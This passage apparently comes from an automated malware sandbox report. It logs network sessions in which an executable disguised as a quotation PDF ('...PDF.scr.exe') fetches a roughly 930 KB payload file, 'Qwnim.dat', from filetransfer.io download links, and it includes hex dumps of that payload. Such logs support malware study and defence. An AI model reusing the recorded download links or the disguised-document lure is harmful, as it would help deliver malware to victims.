$-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:25:20 UTC	1369	IN	Data Raw: bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb 30 3d Data Ascii: jWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g0=
2024-10-04 09:25:20 UTC	1369	IN	Data Raw: c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 16 50 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQP
2024-10-04 09:25:20 UTC	1369	IN	Data Raw: 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 60 a5 Data Ascii: c3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50221	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:22 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:23 UTC	1066	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=a91q4ns8q6a0pa09ou1b0ap3g1; expires=Fri, 18-Oct-2024 09:25:23 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/5LUME3vteHCP cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PtCaYXFHYSXAqYJJLcFR8lYoePAShv3sr83%2FRFs4VYyCX%2BBSw%2F2SZGiQe9O9xxonERC9MLlIEebGKKgNbJ8uIUXHsTSxcipprBY51eFLlcd2NYxwt6MrGysUXdQinf2vjdg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41fd23ee743b3-EWR
2024-10-04 09:25:23 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 35 4c 55 4d 45 33 76 74 65 48 43 50 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/5LUME3vteHCP">Please click here to continue</a>.</p>
2024-10-04 09:25:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50222	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:24 UTC	98	OUT	GET /storage/download/5LUME3vteHCP HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:24 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:24 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=99352b6c18b35247bc70ab983a93622b; expires=Fri, 18-Oct-2024 09:25:24 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VMmAaeGyJzxxMBeS%2BTWkmOkYmjCur51M7pofsK0RicaxuDwR00JJ%2Bf7mexQ10B0TW6ox4YVo9CDVYT6w4IW3Y1Yd0fIZ3JkKifngNeE%2BQXxpLKY8cSq%2FkmmKaJvZ2pQ79bWMfa6m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41fda49c97295-EWR
2024-10-04 09:25:24 UTC	1369	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:25:24 UTC	1369	IN	Data Raw: da 56 5d 1c 30 5d d4 a8 71 04 f4 f4 99 09 60 d1 7a ab e0 9f d9 88 d0 ad 46 84 e3 18 f2 6e 37 8f 24 49 45 d5 43 3f d8 3d 01 d6 48 d8 f9 63 c7 89 87 2d d7 15 3b a5 dc e5 58 1e 10 8d 9c 03 ad ac 0c a8 d1 84 07 c0 3b ab 10 ae ee f4 24 01 6f bc df 4d 85 64 89 37 8c aa df 56 b5 f8 07 6b df 2d e0 51 1a fd 88 5e ba d2 39 d4 18 0f aa 27 2f ce 84 68 92 1c 45 c4 fd ab e0 8d bc af bf ba 1d 43 7b 28 b3 4e 70 ff f7 7f 96 fe db 60 bd 79 db 09 bc 30 36 98 b9 11 f1 c7 11 48 a1 9a d7 c7 8c 82 90 ce 21 1d b0 72 b0 db 11 3e 3c 11 e5 33 b9 8e 3b cd dd c9 fe 52 1b 48 9d 5e 51 8a e8 5b 59 ff 91 2f a8 84 9a 29 d9 2c 35 b6 5e f2 59 64 f4 e9 ff 60 ba a0 28 65 69 6e a4 2d 39 2c d6 eb 3c ac 50 e4 7b 77 d8 1f 87 0d 90 67 a9 eb 8a c9 19 f1 71 e4 d3 a4 5f d9 10 4f 24 a8 83 9b 33 f6 c6 Data Ascii: V]0]q`zFn7$IEC?=Hc-;X;$oMd7Vk-Q^9'/hEC{(Np`y06H!r><3;RH^Q[Y/),5^Yd`(ein-9,<P{wgq_O$3
2024-10-04 09:25:24 UTC	1369	IN	Data Raw: 53 66 41 70 68 6c f0 f3 73 f2 c9 a7 cb 1e f6 25 44 47 df 24 f4 c0 9e c0 55 42 10 65 0d a1 a4 45 ca 58 d1 94 fb c6 61 c6 60 5e 48 1c 10 19 d7 94 bf 23 a2 4f d5 a9 15 2c 28 0b d9 c3 14 6b c8 aa 85 f5 a9 41 94 ec 62 fc ce b2 78 6e 66 99 47 00 15 71 01 62 eb 03 2d ef a0 aa 23 d6 f2 e0 65 44 d9 10 98 78 7b c7 b7 f6 16 3c 35 42 ee f8 a9 f3 35 95 4d dc 9c 10 38 a8 bf 44 7c 4b f0 48 2a 3f 5c 5b b4 4d 5f d5 3c 97 61 bd 8d 2f 11 93 73 d1 b3 1d b4 0e bd 7d c0 47 b0 16 0f 5f 2b 2d 92 db 05 4a 44 47 05 df a6 45 0b 86 32 89 a7 7d 36 e1 54 42 a7 12 f1 dc 59 e5 da 31 2a cf 54 e7 f0 a4 67 38 42 1e 5b 82 03 cd 51 30 e2 e4 86 e8 f4 33 77 bd 0e 94 d5 21 66 76 01 7b 14 3e ec 0b e1 f7 be f2 f5 4f bc cd d5 89 dc b4 89 ae 82 57 e4 ab 0d 1c 79 85 b9 ac 65 9c 00 30 9f 99 6e 6d 1b Data Ascii: SfAphls%DG$UBeEXa`^H#O,(kAbxnfGqb-#eDx{<5B5M8D\|KH?\[M_<a/s}G_+-JDGE2}6TBY1Tg8B[Q03w!fv{>OWye0nm
2024-10-04 09:25:24 UTC	1369	IN	Data Raw: 76 25 0b 95 48 9e 19 eb d6 3e 1a 14 da fe 07 fc 1f 27 3c cf 78 07 8e 76 6a 4b be df 40 89 ef b3 0a 9b 7a e2 c5 ff ef 56 a5 ca fb 9c cd e6 9e df 85 9f 85 f2 10 e8 77 a1 ea 68 9c 75 44 fa 8b ae 5c 00 eb 5f 5f 3e 7d 0d b6 8c 00 43 78 cc e2 87 05 a4 2f 51 11 18 13 07 39 f0 59 40 c9 f4 86 1b 7e 62 2d 36 17 dc 45 eb 0e 10 f4 4a 30 c8 3e d1 fe 6f 1a 6c 40 33 a7 5e 2c 6e 65 c0 9f 4d 9c 90 98 38 22 99 6a f2 15 d0 ac 18 76 ef 50 4b 44 08 d5 e9 e0 c3 3f 45 13 25 4d 0c be da ab 57 43 ef d5 d8 a2 c8 79 43 c7 3d cf 01 26 2e af f3 e9 87 18 4c 5a 49 ff e2 92 eb 54 0a 76 a6 0f 0e 4c 8f 85 eb 23 5d 53 df da 96 41 61 b0 c7 20 7b 4f 53 c0 1a 0a ed bf 58 cb 6b ca a7 d0 dd 4f 83 78 7c be f5 13 00 1f b6 9c 17 b4 a7 58 51 55 99 d4 4a 92 56 68 66 e1 33 99 cb dc a6 02 82 c1 4b 16 Data Ascii: v%H>'<xvjK@zVwhuD\__>}Cx/Q9Y@~b-6EJ0>ol@3^,neM8"jvPKD?E%MWCyC=&.LZITvL#]SAa {OSXkOx\|XQUJVhf3K
2024-10-04 09:25:24 UTC	1369	IN	Data Raw: e2 35 ed 46 a7 2c 65 7a 17 20 20 ff 08 81 c4 ea c3 02 b1 68 f8 df ab 4d 75 e7 42 f6 9d 33 ec 2c 27 55 4b 87 c1 7a f1 20 cb 81 33 ae f8 21 aa 4b 71 0c 82 41 d4 27 35 0b b7 6a 47 59 c6 3e 63 da de 5a b8 fd a3 37 d4 cf 8e 78 93 93 8a a1 1d a9 b8 19 4c bc a6 f1 af 09 d0 51 7c 7d f5 7c 10 d7 3a eb e1 36 b1 4f 81 eb e8 1a 9c c2 6b c5 72 f6 ba cf 43 54 b8 1a d1 b9 ac 78 77 80 4c cc 61 35 93 7c c0 63 27 6a 72 c1 c1 0b 58 fa 39 27 3a 68 fd 6f 19 b9 9b be 10 44 21 0b 50 07 c3 96 c7 f7 c3 8b 9f 76 5d c6 7e 28 77 16 18 ba fb 09 76 a8 c8 d2 ec c8 c9 9b 20 2d 7a ca 96 47 78 24 a6 58 ab b9 96 e4 0b 83 1a 5e 52 43 2b da 64 e1 6c d9 db 1a 1b 8a 5e 85 bb 93 e2 04 f6 0e cc a4 9c 80 38 bb 98 94 13 be 92 c4 55 aa a4 59 50 40 c9 38 b5 a2 65 ad bd e1 ab 9d 0b a9 2f 55 f8 80 ec Data Ascii: 5F,ez hMuB3,'UKz 3!KqA'5jGY>cZ7xLQ\|}\|:6OkrCTxwLa5\|c'jrX9':hoD!Pv]~(wv -zGx$X^RC+dl^8UYP@8e/U
2024-10-04 09:25:24 UTC	1369	IN	Data Raw: cf e3 34 fd 62 b6 19 07 14 4a c7 9d 49 f2 ae 2f 6c 12 22 91 1a a9 ff 84 12 34 6f a3 80 de 66 d8 36 49 42 e3 98 65 bb db 5c f1 00 98 89 d0 1a 40 30 2a d6 f2 5a 79 1b 44 a6 05 4d bc 6b 19 31 9a 1a 98 54 a3 27 33 50 3f 40 f4 d3 a7 37 14 a2 71 43 4a d8 40 13 f0 0e c4 ab cd 20 2a 84 37 98 05 42 ee 63 14 b5 1a f4 7b 57 84 7e c6 fc b5 27 e8 34 fa 49 a4 41 d8 5d a6 2e a8 cc c9 70 1d b0 81 ea b8 7c 67 e8 1d ed aa 0a d5 f4 49 8e 81 de f4 35 71 d5 54 31 c3 6a 61 bf 0a 9b b3 be b7 34 4b c4 1d 16 1a b2 5f 29 52 98 ac cf 93 4a ae 09 dc 07 c3 b2 24 af ba 88 61 03 68 b7 6f a9 29 e9 99 bc 53 1e 8e 98 29 c9 62 79 ab 4c f6 2f 58 72 c9 89 29 18 f4 c9 98 17 e5 42 71 10 60 f3 71 04 32 37 04 8d a6 fc 79 3e 41 f1 57 88 d0 25 8f 02 cd a8 ab f7 03 4c 49 36 f1 16 6d cc ff 86 8e ee Data Ascii: 4bJI/l"4of6IBe\@0ZyDMk1T'3P?@7qCJ@ 7Bc{W~'4IA].p\|gI5qT1ja4K_)RJ$aho)S)byL/Xr)Bq`q27y>AW%LI6m
2024-10-04 09:25:24 UTC	1369	IN	Data Raw: 39 90 b4 68 7b 14 72 02 24 0c 4b 36 13 b0 06 3e f3 f7 da 1d 71 a8 fe c6 0b cb 8c b8 ab 2f 68 37 81 49 b6 5b 02 b0 2b f1 88 7c 26 30 b1 89 1d db d8 ed d7 67 f3 b5 80 d1 e3 fa 12 7c 6e 5d f3 89 42 67 cf e9 98 13 87 c0 41 b1 c9 62 de 7c a2 97 81 87 a4 fb 39 4d 95 05 ef fe fa de cb 62 f1 16 eb 9e 33 54 d2 36 0a c4 65 04 04 dc fc 4b 7e dd 93 55 21 ba c3 6a 92 a8 f9 58 dc 42 2e 60 88 ec 1a c9 3c 86 5b 2c 6f ea 81 16 8a fd bc ed 7c a4 d4 7b ad a9 f0 3e ad 9c 25 0f 95 2c 3e ea a0 b1 2d 42 35 a2 ac d0 e7 c2 47 10 36 8e 5b 75 fc 7b f2 26 d2 68 54 8e 65 c8 30 bd 79 ec f6 5a bb b3 cd 44 0c 9e 9d c2 8a 1c 51 29 09 19 9a a3 a7 7f 0f f9 86 b1 eb 7f bd f4 74 bc 86 8e e6 c4 89 60 da 52 15 d6 80 a1 3f fa 3c 81 f0 23 16 fa 62 71 24 1d 4a 22 59 e2 f5 8c db c6 c1 be cb 4d 7e Data Ascii: 9h{r$K6>q/h7I[+\|&0g\|n]BgAb\|9Mb3T6eK~U!jXB.`<[,o\|{>%,>-B5G6[u{&hTe0yZDQ)t`R?<#bq$J"YM~
2024-10-04 09:25:24 UTC	1369	IN	Data Raw: 2a 14 bb e9 7c 22 c5 0b fd ee a4 f8 d7 8e 0f a3 bf ed e1 8a b3 9b 05 32 2f f3 ad 94 4a 93 3a 47 ab b8 9c 20 f4 28 af ab fd 2e 44 88 57 df 62 2c 6a 98 05 9a 95 70 ce 92 eb b8 a9 38 41 93 35 ac 6d 6c be bd af 66 7c 51 2a ec d8 99 dc 1b aa f5 7e 8b 49 8b fb 8d 70 b8 0e 06 38 75 77 cf d1 45 20 47 b6 80 6e 5e ed 88 82 b5 de d8 72 3d 2e ec f6 43 67 0a 1f 63 05 de bf c8 10 04 13 71 1e f6 c6 0d a1 37 1f 26 60 4d bb 50 c0 99 11 f8 0b 09 1b d9 05 8b 2d 36 de 09 91 30 76 2b 74 55 b6 8d b6 c7 6d a7 92 79 f9 c6 c5 d1 9f 49 4d 96 a5 35 b2 07 78 ec a4 f3 81 c7 12 6a 7b b7 9c cf b2 9d 3b 03 00 5c 3a 45 87 cd 9e 19 92 f7 20 61 a8 c4 c2 b2 96 f9 db 98 59 ad d8 2b 9b c9 c3 b4 c1 b5 df 97 ad 90 4b ce bd 40 1e 7c 59 93 96 5c 9d 5d 53 fd 48 f9 33 cb 03 d7 0e 33 c6 87 6d 91 3b Data Ascii: \|"2/J:G (.DWb,jp8A5mlf\|Q~Ip8uwE Gn^r=.Cgcq7&`MP-60v+tUmyIM5xj{;\:E aY+K@\|Y\]SH33m;
2024-10-04 09:25:24 UTC	1369	IN	Data Raw: 93 2b ed bc 2e 24 c7 40 b0 47 04 99 99 f2 66 45 c1 97 56 e2 bf 12 1b 07 68 d5 7d 77 f6 7e 20 7d ce 35 8f 0b a5 1b fb 09 82 b4 73 10 bf d5 4a 22 03 55 b2 2a 49 57 86 f9 82 9c 62 c5 3c ad 00 ad 58 46 e9 aa 7c 2a 7d a3 79 6c 14 c7 9d fc 43 60 21 f0 5b ad 22 b9 5e b4 6b d1 e9 6b 75 90 d1 6a 44 ef 1b 09 47 e8 77 2e 8e 5f 66 8a 81 53 ca 73 03 2d cf bc ff bb c0 2b b4 20 54 b4 30 a9 b1 96 c1 fe ce 95 aa 30 a8 81 7a 00 a5 d1 c1 ed 8e 7a 93 84 f9 fc e2 f9 cd 05 de fb ea 44 c2 88 d0 46 b8 ed a3 b8 2c 2c f6 97 e3 e9 04 94 61 1e e4 17 d2 18 2d 3b d7 fa 4d 52 23 e5 98 ed 0e bd 41 11 23 0f 2c ed db 59 ee 6f 8d 5c 3c 91 f5 3e 83 ba 08 a2 a6 75 c4 06 44 b8 fd bb 7c 84 d4 8b 6b 30 91 e8 38 e1 f1 a0 08 7d 45 06 02 51 3f 1f b6 52 73 e5 45 21 ab 94 4c ee 1a e3 b8 04 73 9d 1e Data Ascii: +.$@GfEVh}w~ }5sJ"UIWb<XF\|}ylC`!["^kkujDGw._fSs-+ T00zzDF,,a-;MR#A#,Yo\<>uD\|k08}EQ?RsE!Ls
2024-10-04 09:25:24 UTC	1369	IN	Data Raw: c7 08 7f 1d e7 c2 7f 01 79 7e 82 5e b8 9b 5a c3 55 fa 83 be c7 78 41 57 bc 23 02 5d ee 12 c0 43 0e 3c 09 83 18 a6 68 09 0f 5b c3 23 68 67 43 f0 1a 20 3f 76 a3 d4 d1 f4 2a 8b 09 dd 20 a1 93 0e 81 8c e5 aa 59 75 8a 3f 49 ba b5 31 b3 d0 63 14 06 e1 2f fe 0c 5c 73 e5 12 69 02 8e 8f 31 f4 2f 2b e0 4e 1a 38 68 2c 1f 79 60 65 21 9b 63 2d 77 b0 73 2d 63 63 88 d5 09 65 d7 c2 03 2c df 41 2c 26 a5 ee 71 b2 24 7b 7c 23 8a 07 11 ac 84 5c 4c 5e db 7e 0b ee 7e f6 62 57 c6 13 6f 74 60 2a 45 4f 9a 2e 31 15 2b c1 93 b8 5b 02 e8 97 d4 25 e7 4d ef af 09 93 cc a2 7e e3 4f 28 1e 10 57 48 5c bb 89 cd 20 61 5a d8 a8 61 ad 7a b4 ae 2b e5 d0 80 3c 99 a2 1f 48 66 20 cd 50 42 83 f5 a5 34 40 67 db 8a 89 cb 90 dc e3 56 11 87 da 91 1c 1a a1 f7 ce dd 0c d8 59 7b bf 05 9a 1e f6 4f 44 52 Data Ascii: y~^ZUxAW#]C<h[#hgC ?v* Yu?I1c/\si1/+N8h,y`e!c-ws-cce,A,&q${\|#\L^~~bWot`*EO.1+[%M~O(WH\ aZaz+<Hf PB4@gVY{ODR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50225	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:27 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:28 UTC	1070	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=amfvli2r99dgignmh04l18urpv; expires=Fri, 18-Oct-2024 09:25:28 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/faOOXr9t1pNr CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OSc%2BGf4%2B%2BbyKf45JbrWOMrfYINcB81jQ5P21vmlL41AeVR7mWkYKovtaN2I3lq2lfg4rlEM0AG%2FRtmfzcAUG%2FGFNPkzclvQRTZWTSGP4pPeOcUvNPgBx5NUuZhE1daoNVWw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ff0da3f41f2-EWR
2024-10-04 09:25:28 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 66 61 4f 4f 58 72 39 74 31 70 4e 72 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/faOOXr9t1pNr">Please click here to continue</a>.</p>
2024-10-04 09:25:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50226	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:29 UTC	98	OUT	GET /storage/download/faOOXr9t1pNr HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:29 UTC	1028	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:29 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=7dc36114b2c715e2708d8ac58af6cdc9; expires=Fri, 18-Oct-2024 09:25:29 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2AWjT%2B8GgSCbb3tfmwZ4272j1nlZqpV%2F6Af%2FvDfnPaSitZUlf9%2FgWqz52SskiNjLR3fOJ9Cg4meMuPCA7%2F%2BOhi8EsQQg2Mt96LuTPg90sjTtVlYDzkisCI8MRF1ZiN%2BIHEmXVVEA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41ff90afc4303-EWR
2024-10-04 09:25:29 UTC	341	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
